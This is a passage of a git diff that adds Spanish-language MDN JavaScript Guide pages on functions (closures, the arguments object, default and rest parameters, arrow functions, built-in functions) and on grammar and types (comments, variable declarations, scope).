+  if (i &lt; 0)
+    return;
+  console.log('inicio: ' + i);
+  foo(i - 1);
+  console.log('fin: ' + i);
+}
+foo(3);
+
+// Produce:
+
+// inicio: 3
+// inicio: 2
+// inicio: 1
+// inicio: 0
+// fin: 0
+// fin: 1
+// fin: 2
+// fin: 3</pre>
+
+<h3 id="Funciones_anidadas_y_cierres">Funciones anidadas y cierres</h3>
+
+<p>Puedes anidar una función dentro de otra función. La función anidada (interna) es privada de su función contenedora (externa).</p>
+
+<p>También forma un <em>cierre</em>. Un cierre es una expresión (comúnmente, una función) que puede tener variables libres junto con un entorno que une esas variables (que "cierra" la expresión).</p>
+
+<p>Dado que una función anidada es un cierre, significa que una función anidada puede "heredar" los argumentos y variables de su función contenedora. En otras palabras, la función interna contiene el ámbito de la función externa.</p>
+
+<p>Para resumir:</p>
+
+<ul>
+ <li>Solo se puede acceder a la función interna desde declaraciones en la función externa.</li>
+</ul>
+
+<ul>
+ <li>La función interna forma un cierre: la función interna puede usar los argumentos y variables de la función externa, mientras que la función externa no puede usar los argumentos y variables de la función interna.</li>
+</ul>
+
+<p>El siguiente ejemplo muestra funciones anidadas:</p>
+
+<pre class="brush: js notranslate">function addSquares(a, b) {
+  function square(x) {
+    return x * x;
+  }
+  return square(a) + square(b);
+}
+a = addSquares(2, 3); // devuelve 13
+b = addSquares(3, 4); // devuelve 25
+c = addSquares(4, 5); // devuelve 41
+</pre>
+
+<p>Dado que la función interna forma un cierre, puedes llamar a la función externa y especificar argumentos tanto para la función externa como para la interna:</p>
+
+<pre class="brush: js notranslate">function outside(x) {
+  function inside(y) {
+    return x + y;
+  }
+  return inside;
+}
+fn_inside = outside(3); // Piensa en ello como: dame una función que agregue 3 a lo que sea que le des
+                        // eso
+result = fn_inside(5); // devuelve 8
+
+result1 = outside(3)(5); // devuelve 8
+</pre>
+
+<h3 id="Preservación_de_variables">Preservación de variables</h3>
+
+<p>Observa cómo se conserva <code>x</code> cuando se devuelve <code>inside</code>. Un cierre debe conservar los argumentos y variables en todos los ámbitos a los que hace referencia. Dado que cada llamada proporciona argumentos potencialmente diferentes, se crea un nuevo cierre para cada llamada a <code>outside</code>. La memoria se puede liberar solo cuando el <code>inside</code> devuelto ya no es accesible.</p>
+
+<p>Esto no es diferente de almacenar referencias en otros objetos, pero a menudo es menos obvio porque uno no establece las referencias directamente y no las puede inspeccionar.</p>
+
+<h3 id="Funciones_multianidadas">Funciones multianidadas</h3>
+
+<p>Las funciones se pueden anidar de forma múltiple. Por ejemplo:</p>
+
+<ul>
+ <li>Una función (<code>A</code>) contiene una función (<code>B</code>), que a su vez contiene una función (<code>C</code>).</li>
+ <li>Ambas funciones <code>B</code> y <code>C</code> forman cierres aquí. Por tanto, <code>B</code> puede acceder a <code>A</code> y <code>C</code> puede acceder a <code>B</code>.</li>
+ <li>Además, dado que <code>C</code> puede acceder a <code>B</code> que puede acceder a <code>A</code>, <code>C</code> también puede acceder a <code>A</code>.</li>
+</ul>
+
+<p>Por tanto, los cierres pueden contener múltiples ámbitos; contienen de forma recursiva el ámbito de las funciones que la contienen. Esto se llama <em>encadenamiento de alcance</em>. (La razón por la que se llama "encadenamiento" se explica más adelante).</p>
+
+<p>Considera el siguiente ejemplo:</p>
+
+<pre class="brush: js notranslate">function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // registra 6 (1 + 2 + 3)
+</pre>
+
+<p>En este ejemplo, <code>C</code> accede a <code>y</code> de <code>B</code> y a <code>x</code> de <code>A</code>.</p>
+
+<p>Esto se puede hacer porque:</p>
+
+<ol>
+ <li><code>B</code> forma un cierre que incluye a <code>A</code> (es decir, <code>B</code> puede acceder a los argumentos y variables de <code>A</code>).</li>
+ <li><code>C</code> forma un cierre que incluye a <code>B</code>.</li>
+ <li>Debido a que el cierre de <code>B</code> incluye a <code>A</code>, el cierre de <code>C</code> incluye a <code>A</code>, <code>C</code> puede acceder a los argumentos <em>y variables</em> de <code>B</code> <em>y</em> de <code>A</code>. En otras palabras, <code>C</code> <em>encadena</em> los ámbitos de <code>B</code> y <code>A</code>, <em>en ese orden</em>.</li>
+</ol>
+
+<p>Sin embargo, lo contrario no es cierto. <code>A</code> no puede acceder a <code>C</code>, porque <code>A</code> no puede acceder a ningún argumento o variable de <code>B</code>, del que <code>C</code> es una variable. Por lo tanto, <code>C</code> permanece privado solo para <code>B</code>.</p>
+
+<h3 id="Conflictos_de_nombres">Conflictos de nombres</h3>
+
+<p>Cuando dos argumentos o variables en el ámbito de un cierre tienen el mismo nombre, hay un <em>conflicto de nombres</em>. Tiene más prioridad el ámbito anidado. Entonces, el ámbito más interno tiene la mayor prioridad, mientras que el ámbito más externo tiene la más baja. Esta es la cadena de ámbito. El primero de la cadena es el ámbito más interno y el último es el ámbito más externo. Considera lo siguiente:</p>
+
+<pre class="brush: js notranslate">function outside() {
+  var x = 5;
+  function inside(x) {
+    return x * 2;
+  }
+  return inside;
+}
+
+outside()(10); // devuelve 20 en lugar de 10
+</pre>
+
+<p>El conflicto de nombre ocurre en la declaración <code>return x</code> y está entre el parámetro <code>x</code> de <code>inside</code> y la variable <code>x</code> de <code>outside</code>. La cadena de ámbito aquí es {<code>inside</code>, <code>outside</code>, objeto global}. Por lo tanto, <code>x</code> de <code>inside</code> tiene precedencia sobre <code>x</code> de <code>outside</code> y <code>20</code> (<code>x</code>) de <code>inside</code> se devuelve en lugar de <code>10</code> (<code>x</code> de <code>outside</code>).</p>
+
+<h2 id="Cierres">Cierres</h2>
+
+<p>Los cierres son una de las características más poderosas de JavaScript. JavaScript permite el anidamiento de funciones y otorga a la función interna acceso completo a todas las variables y funciones definidas dentro de la función externa (y todas las demás variables y funciones a las que la función externa tiene acceso).</p>
+
+<p>Sin embargo, la función externa <em>no</em> tiene acceso a las variables y funciones definidas dentro de la función interna. Esto proporciona una especie de encapsulación para las variables de la función interna.</p>
+
+<p>Además, dado que la función interna tiene acceso a el ámbito de la función externa, las variables y funciones definidas en la función externa vivirán más que la duración de la ejecución de la función externa, si la función interna logra sobrevivir más allá de la vida de la función externa. Se crea un cierre cuando la función interna de alguna manera se pone a disposición de cualquier ámbito fuera de la función externa.</p>
+
+<pre class="brush: js notranslate">var pet = function(name) {   // La función externa define una variable llamada "name"
+  var getName = function() {
+    return name;             // La función interna tiene acceso a la variable
+                             // "name" de la función externa
+  }
+  return getName;            // Devuelve la función interna, exponiéndola así a ámbitos externos
+}
+myPet = pet('Vivie');
+
+myPet();                     // Devuelve "Vivie"
+</pre>
+
+<p>Puede ser mucho más complejo que el código anterior. Se puede devolver un objeto que contiene métodos para manipular las variables internas de la función externa.</p>
+
+<pre class="brush: js notranslate">var createPet = function(name) {
+  var sex;
+
+  return {
+    setName: function(newName) {
+      name = newName;
+    },
+
+    getName: function() {
+      return name;
+    },
+
+    getSex: function() {
+      return sex;
+    },
+
+    setSex: function(newSex) {
+      if(typeof newSex === 'string' &amp;&amp; (newSex.toLowerCase() === 'male' ||
+        newSex.toLowerCase() === 'female')) {
+        sex = newSex;
+      }
+    }
+  }
+}
+
+var pet = createPet('Vivie');
+pet.getName();                  // Vivie
+
+pet.setName('Oliver');
+pet.setSex('male');
+pet.getSex();                   // male
+pet.getName();                  // Oliver
+</pre>
+
+<p>En el código anterior, la variable <code>name</code> de la función externa es accesible para las funciones internas, y no hay otra forma de acceder a las variables internas excepto a través de las funciones internas. Las variables internas de las funciones internas actúan como almacenes seguros para los argumentos y variables externos. Contienen datos "persistentes" y "encapsulados" para que trabajen las funciones internas. Las funciones ni siquiera tienen que estar asignadas a una variable o tener un nombre.</p>
+
+<pre class="brush: js notranslate">var getCode = (function() {
+  var apiCode = '0]Eal(eh&amp;2';    // Un código que no queremos que los externos puedan modificar...
+
+  return function() {
+    return apiCode;
+  };
+})();
+
+getCode();    // Devuelve el apiCode
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Precaución</strong> ¡Hay una serie de trampas a tener en cuenta al usar cierres!</p>
+
+<p>Si una función encerrada define una variable con el mismo nombre que una variable en el ámbito externo, entonces no hay forma de hacer referencia a la variable en el ámbito externo nuevamente. (La variable de ámbito interno "anula" la externa, hasta que el programa sale de el ámbito interno).</p>
+
+<pre class="example-bad brush: js notranslate">var createPet = function(name) {  // La función externa define una variable llamada "name".
+  return {
+    setName: function(name) {    // La función envolvente también define una variable llamada "name".
+      name = name;               // ¿Cómo accedemos al "name" definido por la función externa?
+    }
+  }
+}
+</pre>
+</div>
+
+<h2 id="Usar_el_objeto_arguments">Usar el objeto <code>arguments</code></h2>
+
+<p>El <code>arguments</code> de una función se mantiene en un objeto similar a un arreglo. Dentro de una función, puedes abordar los argumentos que se le pasan de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">arguments[i]
+</pre>
+
+<p>donde <code>i</code> es el número ordinal del argumento, comenzando en <code>0</code>. Entonces, el primer argumento que se pasa a una función sería <code>arguments[0]</code>. El número total de argumentos se indica mediante <code>arguments.length</code>.</p>
+
+<p>Usando el objeto <code>arguments</code>, puedes llamar a una función con más argumentos de los que formalmente declara aceptar. Esto suele ser útil si no sabes de antemano cuántos argumentos se pasarán a la función. Puedes usar <code>arguments.length</code> para determinar el número de argumentos que realmente se pasan a la función, y luego acceder a cada argumento usando el objeto <code>arguments</code>.</p>
+
+<p>Por ejemplo, considera una función que concatena varias cadenas. El único argumento formal para la función es una cadena que especifica los caracteres que separan los elementos a concatenar. La función se define de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">function myConcat(separator) {
+   var result = ''; // inicia list
+   var i;
+   // itera a través de arguments
+   for (i = 1; i &lt; arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}
+</pre>
+
+<p>Puedes pasar cualquier número de argumentos a esta función, y concatena cada argumento en una "lista" de cadenas:</p>
+
+<pre class="brush: js notranslate">// devuelve "red, orange, blue, "
+myConcat(', ', 'red', 'orange', 'blue');
+
+// devuelve "elephant; giraffe; lion; cheetah"
+myConcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah');
+
+// devuelve "sage. basil. oregano. pepper. perejil. "
+myConcat('. ', 'salvia', 'albahaca', 'orégano', 'pimienta', 'perejil');
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: La variable <code>arguments</code> es "similar a un arreglo", pero no es un arreglo. Es similar a un arreglo en el sentido de que tiene un índice numerado y una propiedad <code>length</code>. Sin embargo, <em>no</em> posee todos los métodos de manipulación de arreglos.</p>
+</div>
+
+<p>Consulta el objeto {{JSxRef("Function")}} en la referencia de JavaScript para obtener más información.</p>
+
+<h2 id="Parámetros_de_función">Parámetros de función</h2>
+
+<p>A partir de ECMAScript 2015, hay dos nuevos tipos de parámetros: <em>parámetros predeterminados</em> y <em>parámetros resto</em>.</p>
+
+<h3 id="Parámetros_predeterminados">Parámetros predeterminados</h3>
+
+<p>En JavaScript, los parámetros de las funciones están predeterminados en <code>undefined</code>. Sin embargo, en algunas situaciones puede resultar útil establecer un valor predeterminado diferente. Esto es exactamente lo que hacen los parámetros predeterminados.</p>
+
+<h4 id="Sin_parámetros_predeterminados_preECMAScript_2015">Sin parámetros predeterminados (preECMAScript 2015)</h4>
+
+<p>En el pasado, la estrategia general para establecer valores predeterminados era probar los valores de los parámetros en el cuerpo de la función y asignar un valor si eran <code>undefined</code>.</p>
+
+<p>En el siguiente ejemplo, si no se proporciona ningún valor para <code>b</code>, su valor sería <code>undefined</code> al evaluar <code>a * b</code>, y una llamada a <code>multiply</code> normalmente habría devuelto <code>NaN</code>. Sin embargo, esto se evita con la segunda línea de este ejemplo:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a * b;
+}
+
+multiply(5); // 5
+</pre>
+
+<h4 id="Con_parámetros_predeterminados_posECMAScript_2015">Con parámetros predeterminados (posECMAScript 2015)</h4>
+
+<p>Con <em>parámetros predeterminados</em>, ya no es necesaria una verificación manual en el cuerpo de la función. Simplemente puedes poner <code>1</code> como valor predeterminado para <code>b</code> en el encabezado de la función:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b = 1) {
+  return a * b;
+}
+
+multiply(5); // 5</pre>
+
+<p>Para obtener más detalles, consulta {{JSxRef("Funciones/Parametros_predeterminados", "parámetros predeterminados")}} en la referencia.</p>
+
+<h3 id="Parámetros_rest">Parámetros <code>rest</code></h3>
+
+<p>La sintaxis del {{JSxRef("Funciones/Parametros_rest", "parámetro rest")}} nos permite representar un número indefinido de argumentos como un arreglo.</p>
+
+<p>En el siguiente ejemplo, la función <code>multiply</code> usa <em>parámetros <code>rest</code></em> para recopilar argumentos desde el segundo hasta el final. Luego, la función los multiplica por el primer argumento.</p>
+
+<pre class="brush: js notranslate">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(x =&gt; multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<h2 id="Funciones_Flecha">Funciones Flecha</h2>
+
+<p>Una {{JSxRef("Funciones/Funciones_flecha", "expresión de función flecha")}} (anteriormente, y ahora conocida incorrectamente como <strong>función de flecha gruesa</strong>) tiene una sintaxis más corta en comparación con las expresiones de función y no tiene su propio {{JSxRef("Operadores/this", "this")}}, {{JSxRef("Funciones/arguments", "arguments")}}, {{JSxRef("Operadores/super", "super")}} o {{JSxRef("../Operadores/new.target", "new.target")}}. Las funciones flecha siempre son anónimas. Consulta también esta publicación del blog hacks.mozilla.org: "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 en profundidad: funciones flecha</a>".</p>
+
+<p>Dos factores influyeron en la introducción de las funciones flecha: <em>funciones más cortas</em> y <em>no vinculantes</em> de <code>this</code>.</p>
+
+<h3 id="Funciones_más_cortas">Funciones más cortas</h3>
+
+<p>En algunos patrones funcionales, las funciones más cortas son bienvenidas. Compara:</p>
+
+<pre class="brush: js notranslate">var a = [
+  'Hidrógeno',
+  'Helio',
+  'Litio',
+  'Berilio'
+];
+
+var a2 = a.map(function(s) { return s.length; });
+
+console.log(a2); // logs [8, 6, 7, 9]
+
+var a3 = a.map(s =&gt; s.length);
+
+console.log(a3); // logs [8, 6, 7, 9]
+</pre>
+
+<h3 id="Sin_this_separado">Sin <code>this</code> separado</h3>
+
+<p>Hasta las funciones flecha, cada nueva función definía su propio valor {{JSxRef("Operadores/this", "this")}} (un nuevo objeto en el caso de un constructor, indefinido en llamadas a funciones en {{JSxRef("Strict_mode", "modo estricto")}}, el objeto base si la función se llama como un "método de objeto", etc.). Esto resultó ser poco menos que ideal con un estilo de programación orientado a objetos.</p>
+
+<pre class="brush: js notranslate">function Person() {
+  // El constructor Person() define `this` como él mismo.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // En modo no estricto, la función growUp() define `this`
+    // como el objeto global, que es diferente del `this`
+    // definido por el constructor Person().
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>En ECMAScript 3/5, este problema se solucionó asignando el valor en <code>this</code> a una variable que se podría cerrar.</p>
+
+<pre class="brush: js notranslate">function Person() {
+  var self = this; // Algunos eligen `that` en lugar de` self`.
+                   // Elige uno y se congruente.
+  self.age = 0;
+
+  setInterval(function growUp() {
+    // La retrollamada se refiere a la variable `self` de la cual
+    // el valor es el objeto esperado.
+    self.age++;
+  }, 1000);
+}</pre>
+
+<p>Alternativamente, podrías crear una {{JSxRef("Objetos_globales/Function/bind", "función vinculada")}} para que el valor <code>this</code> adecuado se pasara a la función <code>growUp()</code>.</p>
+
+<p>Una función flecha no tiene su propio <code>this</code> se utiliza el valor de <code>this</code> del contexto de ejecución adjunto. Por lo tanto, en el siguiente código, <code>this</code> dentro de la función que se pasa a <code>setInterval</code> tiene el mismo valor que <code>this</code> en la función adjunta:</p>
+
+<pre class="brush: js notranslate">function Person() {
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // |this| propiamente se refiere al objeto person
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<h2 id="Funciones_predefinidas">Funciones predefinidas</h2>
+
+<p>JavaScript tiene integradas varias funciones de nivel superior:</p>
+
+<dl>
+ <dt>{{JSxRef("Objetos_globales/eval", "eval()")}}</dt>
+ <dd>
+ <p>El método <code><strong>eval()</strong></code> evalúa el código JavaScript representado como una cadena.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/uneval", "uneval()")}}</dt>
+ <dd>
+ <p>El método <code><strong>uneval()</strong></code> crea una representación de cadena del código fuente de un {{JSxRef("Object")}}.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/isFinite", "isFinite()")}}</dt>
+ <dd>
+ <p>La función global <code><strong>isFinite()</strong></code> determina si el valor pasado es un número finito. Si es necesario, el parámetro, primero se convierte en un número.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/isNaN", "isNaN()")}}</dt>
+ <dd>
+ <p>La función <code><strong>isNaN()</strong></code> determina si un valor es {{JSxRef("Objetos_globales/NaN", "NaN")}} o no. <strong>Nota</strong>: La coerción dentro de la función <code>isNaN</code> tiene {{JSxRef("Objetos_globales/isNaN", "interesantes", "#Descripcion")}} reglas; también puedes querer usar {{JSxRef("Number.isNaN()")}}, como se define en ECMAScript 2015, o puedes usar {{JSxRef("Operadores/typeof", "typeof")}} para determinar si el valor no es un número (<code>NaN</code>).</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/parseFloat", "parseFloat()")}}</dt>
+ <dd>
+ <p>La función <code><strong>parseFloat()</strong></code> procesa un argumento de cadena y devuelve un número de punto flotante.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/parseInt", "parseInt()")}}</dt>
+ <dd>
+ <p>La función <code><strong>parseInt()</strong></code> procesa un argumento de cadena y devuelve un número entero de la base especificada (la base en los sistemas numéricos matemáticos).</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/decodeURI", "decodeURI()")}}</dt>
+ <dd>
+ <p>La función <code><strong>decodeURI()</strong></code> decodifica un identificador uniforme de recursos (URI) creado previamente por {{JSxRef("Objetos_globales/encodeURI", "encodeURI")}} o por una rutina similar.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/decodeURIComponent", "decodeURIComponent()")}}</dt>
+ <dd>
+ <p>El método <code><strong>decodeURIComponent()</strong></code> decodifica un componente Identificador uniforme de recursos (URI) creado previamente por {{JSxRef("Objetos_globales/encodeURIComponent", "encodeURIComponent")}} o por un rutina similar.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/encodeURI", "encodeURI()")}}</dt>
+ <dd>
+ <p>El método <code><strong>encodeURI()</strong></code> codifica un identificador uniforme de recursos (URI) reemplazando cada instancia de ciertos caracteres por una, dos, tres o cuatro secuencias de escape que representan la codificación UTF-8 del caracter (solo habrá cuatro secuencias de escape para caracteres compuestos por dos caracteres "sustitutos").</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/encodeURIComponent", "encodeURIComponent()")}}</dt>
+ <dd>
+ <p>El método <code><strong>encodeURIComponent()</strong></code> codifica un componente Identificador uniforme de recursos (URI) reemplazando cada instancia de ciertos caracteres por una, dos, tres o cuatro secuencias de escape que representan la codificación UTF-8 del caracter (solo habrá cuatro secuencias de escape para caracteres compuestos por dos caracteres "sustitutos").</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/escape", "escape()")}}</dt>
+ <dd>
+ <p>El método obsoleto <code><strong>escape()</strong></code> calcula una nueva cadena en la que ciertos caracteres han sido reemplazados por una secuencia de escape hexadecimal. En su lugar usa {{JSxRef("Objetos_globales/encodeURI", "encodeURI")}} o {{JSxRef("Objetos_globales/encodeURIComponent", "encodeURIComponent")}}.</p>
+ </dd>
+ <dt>{{JSxRef("Objetos_globales/unescape", "unescape()")}}</dt>
+ <dd>
+ <p>El método obsoleto <code><strong>unescape()</strong></code> calcula una nueva cadena en la que las secuencias de escape hexadecimales se reemplazan con el caracter que representan. Las secuencias de escape se pueden introducir por medio de una función como {{JSxRef("Objetos_globales/escape", "escape")}}. Debido a que <code>unescape()</code> está en desuso, usa {{JSxRef("Objetos_globales/decodeURI", "decodeURI()")}} o {{JSxRef("Objetos_globales/decodeURIComponent", "decodeURIComponent")}} en su lugar.</p>
+ </dd>
+</dl>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
diff --git a/files/es/web/javascript/guide/grammar_and_types/index.html b/files/es/web/javascript/guide/grammar_and_types/index.html
new file mode 100644
index 0000000000..894096ba1e
--- /dev/null
+++ b/files/es/web/javascript/guide/grammar_and_types/index.html
@@ -0,0 +1,762 @@
+---
+title: Gramática y Tipos
+slug: Web/JavaScript/Guide/Grammar_and_types
+tags:
+  - Guia(2)
+  - Guía
+  - JavaScript
+  - Variables
+  - literales
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
+
+<p class="summary">Este capítulo analiza la gramática básica de JavaScript, la declaración de variables, los tipos de datos y literales.</p>
+
+<h2 id="Conceptos_básicos">Conceptos básicos</h2>
+
+<p>JavaScript está influenciado sobre todo por la sintaxis de Java, C y C++, pero también ha sido influenciado por Awk, Perl y Python.</p>
+
+<p>JavaScript distingue entre mayúsculas y minúsculas (es <strong>case-sensitive</strong>) y utiliza el conjunto de caracteres <strong>Unicode</strong>. Por ejemplo, la palabra «Früh» (que significa "temprano" en Alemán) se podría usar como el nombre de una variable.</p>
+
+<pre class="brush: js notranslate">let Früh = "foobar"</pre>
+
+<p>Pero, la variable <code>früh</code> no es la misma que <code>Früh</code> porque JavaScript distingue entre mayúsculas y minúsculas.</p>
+
+<p>En JavaScript, las instrucciones se denominan {{Glossary("Statement", "declaraciones")}} y están separadas por punto y coma (;).</p>
+
+<p>No es necesario un punto y coma después de una declaración si está escrita en su propia línea. Pero si se deseas más de una declaración en una línea, entonces <em>debes</em> separarlas con punto y coma.</p>
+
+<div class="blockIndicator note">
+<p>ECMAScript también tiene reglas para la inserción automática del punto y coma —{{JSxRef("Gramatica_lexica", "IAPC", "#Insercion_automatica_de_punto_y_coma")}}— (<em>ASI</em> en inglés, por sus siglas «<em>Automatic Semicolon Insertion</em>») al final de las declaraciones. (Para obtener más información, consulta la referencia detallada sobre la {{JSxRef("Gramatica_lexica", "gramática léxica")}} de JavaScript).</p>
+</div>
+
+<p>Sin embargo, se considera una buena práctica escribir siempre un punto y coma después de una declaración, incluso cuando no sea estrictamente necesario. Esta práctica reduce las posibilidades de que se introduzcan errores en el código.</p>
+
+<p>El texto fuente del script JavaScript se escanea de izquierda a derecha y se convierte en una secuencia de elementos de entrada que son <em>fragmentos</em>, <em>caracteres de control</em>, <em>terminadores de línea</em>, <em>comentarios</em> o {{Glossary("Espacio en blanco", "espacios en blanco")}}. (Los espacios, tabulaciones y caracteres de nueva línea se consideran espacios en blanco).</p>
+
+<h2 id="Comentarios">Comentarios</h2>
+
+<p>La sintaxis de los <strong>comentarios</strong> es la misma que en C++ y en muchos otros lenguajes:</p>
+
+<pre class="brush: js notranslate">// un comentario de una línea
+
+/* este es un comentario
+ * más largo, de varias líneas
+ */
+
+/* Sin embargo, no puedes /* anidar comentarios */ SyntaxError */
+</pre>
+
+<p>Los comentarios se comportan como espacios en blanco y se descartan durante la ejecución del script.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: También puedes ver un tercer tipo de sintaxis de comentario al comienzo de algunos archivos JavaScript, que se parece a esto: <code>#!/usr/bin/env node</code>.</p>
+
+<p>Esto se denomina sintaxis de <strong>comentario hashbang</strong> y es un comentario especial que se utiliza para especificar la ruta a un motor JavaScript en particular que debe ejecutar el script. Consulta {{JSxRef("Gramatica_lexica", "Comentarios Hashbang", "#Comentarios_hashbang")}} para obtener más detalles.</p>
+</div>
+
+<h2 id="Declaraciones">Declaraciones</h2>
+
+<p>JavaScript tiene tres tipos de declaraciones de variables.</p>
+
+<dl>
+ <dt>{{JSxRef("Sentencias/var", "var")}}</dt>
+ <dd>Declara una variable, opcionalmente la inicia a un valor.</dd>
+ <dt>{{JSxRef("Sentencias/let", "let")}}</dt>
+ <dd>Declara una variable local con ámbito de bloque, opcionalmente la inicia a un valor.</dd>
+ <dt>{{JSxRef("Sentencias/const", "const")}}</dt>
+ <dd>Declara un nombre de constante de solo lectura y ámbito de bloque.</dd>
+</dl>
+
+<h3 id="Variables">Variables</h3>
+
+<p>Utiliza variables como nombres simbólicos para valores en tu aplicación. Los nombres de las variables, llamados {{Glossary("Identifier", "identificadores")}}, se ajustan a ciertas reglas.</p>
+
+<p>Un identificador de JavaScript debe comenzar con una letra, un guión bajo (<code>_</code>) o un signo de dólar (<code>$</code>). Los siguientes caracteres también pueden ser dígitos (<code>0</code>-<code>9</code>).</p>
+
+<p>Dado que JavaScript distingue entre mayúsculas y minúsculas, las letras incluyen los caracteres "<code>A</code>" a "<code>Z</code>" (mayúsculas), así como "<code>a</code>" a "z" (minúsculas).</p>
+
+<p>Puedes utilizar la mayoría de las letras ISO 8859-1 o Unicode como <code>å</code> y <code>ü</code> en los identificadores. (Para obtener más detalles, consulta <a href="https://mathiasbynens.be/notes/javascript-identifiers-es6">esta publicación del blog</a>). También puedes usar {{JSxRef("Gramatica_lexica", "Secuencias de escape Unicode", "#Cadenas_literales")}} como caracteres en identificadores.</p>
+
+<p>Algunos ejemplos de nombres legales son <code>Number_hits</code>, <code>temp99</code>, <code>$credit</code> y <code>_name</code>.</p>
+
+<h3 id="Declaración_de_variables">Declaración de variables</h3>
+
+<p>Puedes declarar una variable de dos formas:</p>
+
+<ul>
+ <li>Con la palabra clave {{JSxRef("Sentencias/var", "var")}}. Por ejemplo, <code>var x = 42</code>. Esta sintaxis se puede utilizar para declarar variables <strong>locales</strong> y <strong>globales</strong>, dependiendo del <em>contexto de ejecución</em>.</li>
+ <li>Con la palabra clave {{JSxRef("Sentencias/const", "const")}} o {{JSxRef("Sentencias/let", "let")}}. Por ejemplo, <code>let y = 13</code>. Esta sintaxis se puede utilizar para declarar una variable local con ámbito de bloque. (Ve el {{anch("Ambito_de_variables", "Ámbito de variables")}} abajo.)</li>
+</ul>
+
+<p>También puedes simplemente asignar un valor a una variable. Por ejemplo, <code>x = 42</code>. Este formulario crea una variable {{JSxRef("Sentencias/var", "global no declarada", "#Descripción")}}. También genera una advertencia estricta de JavaScript. Las variables globales no declaradas a menudo pueden provocar un comportamiento inesperado. Por lo tanto, se desaconseja utilizar variables globales no declaradas.</p>
+
+<h3 id="Evaluar_variables">Evaluar variables</h3>
+
+<p>Una variable declarada usando la instrucción <code>var</code> o <code>let</code> sin un valor asignado especificado tiene el valor de {{JSxRef("undefined")}}.</p>
+
+<p>Un intento de acceder a una variable no declarada da como resultado el disparo de una excepción {{JSxRef("ReferenceError")}}:</p>
+
+<pre class="brush: js notranslate">var a;
+console.log('El valor de a es ' + a); // El valor de a es undefined
+
+console.log('El valor de b es ' + b); // El valor de b es undefined
+var b;
+// Esto puede desconcertarte hasta que leas 'Elevación de variable' a continuación
+
+console.log('El valor de c es ' + c); // Error de referencia no detectado: c no está definida
+
+let x;
+console.log('El valor de x es ' + x); // El valor de x es undefined
+
+console.log('El valor de y es ' + y); // Error de referencia no detectada: y no está definida
+let y;</pre>
+
+<p>Puedes usar <code>undefined</code> para determinar si una variable tiene un valor. En el siguiente código, a la variable <code>input</code> no se le asigna un valor y la declaración {{JSxRef("Sentencias/if...else", "if")}} evalúa a <code>true</code>.</p>
+
+<pre class="brush: js notranslate">var input;
+if (input === undefined) {
+  doThis();
+} else {
+  doThat();
+}
+</pre>
+
+<p>El valor <code>undefined</code> se comporta como <code>false</code> cuando se usa en un contexto booleano. Por ejemplo, el siguiente código ejecuta la función <code>myFunction</code> porque el elemento <code>myArray</code> es <code>undefined</code>:</p>
+
+<pre class="brush: js notranslate">var myArray = [];
+if (!myArray[0]) myFunction();
+</pre>
+
+<p>El valor <code>undefined</code> se convierte en <code>NaN</code> cuando se usa en contexto numérico.</p>
+
+<pre class="brush: js notranslate">var a;
+a + 2;  // Evalúa a NaN</pre>
+
+<p>Cuando evalúas una variable {{JSxRef("null")}}, el valor nulo se comporta como <code>0</code> en contextos numéricos y como <code>false</code> en contextos booleanos. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var n = null;
+console.log(n * 32); // Registrará 0 en la consola
+</pre>
+
+<h3 id="Ámbito_de_variables">Ámbito de variables</h3>
+
+<p>Cuando declaras una variable fuera de cualquier función, se denomina variable <em>global</em>, porque está disponible para cualquier otro código en el documento actual. Cuando declaras una variable dentro de una función, se llama variable <em>local</em>, porque solo está disponible dentro de esa función.</p>
+
+<p>JavaScript anterior a ECMAScript 2015 no tiene el ámbito de la {{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "declaración de bloque", "#Block_statement", "Checar")}}. Más bien, una variable declarada dentro de un bloque es local a la <em>función (o ámbito global)</em> en el que reside el bloque.</p>
+
+<p>Por ejemplo, el siguiente código registrará <code>5</code>, porque el ámbito de <code>x</code> es el contexto global (o el contexto de la función si el código es parte de una función). El ámbito de <code>x</code> no se limita al bloque de instrucciones <code>if</code> inmediato.</p>
+
+<pre class="brush: js notranslate">if (true) {
+  var x = 5;
+}
+console.log(x);  // x es 5
+</pre>
+
+<p>Este comportamiento cambia cuando se usa la declaración <code>let</code> (introducida en ECMAScript 2015).</p>
+
+<pre class="brush: js notranslate">if (true) {
+  let y = 5;
+}
+console.log(y); // ReferenceError: y no está definida
+</pre>
+
